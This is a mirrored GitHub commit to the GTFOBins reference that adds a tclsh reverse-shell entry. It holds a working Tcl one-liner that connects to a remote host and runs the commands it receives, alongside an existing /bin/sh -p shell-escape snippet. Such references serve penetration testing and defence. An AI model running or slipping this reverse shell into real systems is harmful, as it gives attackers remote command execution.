mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
Add tclsh reverse shell
This commit is contained in:
parent
43b68e46b1
commit
24a7c20324
@ -12,4 +12,10 @@ functions:
|
|||||||
- code: |
|
- code: |
|
||||||
./tclsh
|
./tclsh
|
||||||
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
exec /bin/sh -p <@stdin >@stdout 2>@stderr
|
||||||
|
reverse-shell:
|
||||||
|
- description:
|
||||||
|
code: |
|
||||||
|
export RHOST=10.0.0.1
|
||||||
|
export RPORT=8000
|
||||||
|
echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
|
||||||
---
|
---
|
Loading…
Reference in New Issue
Block a user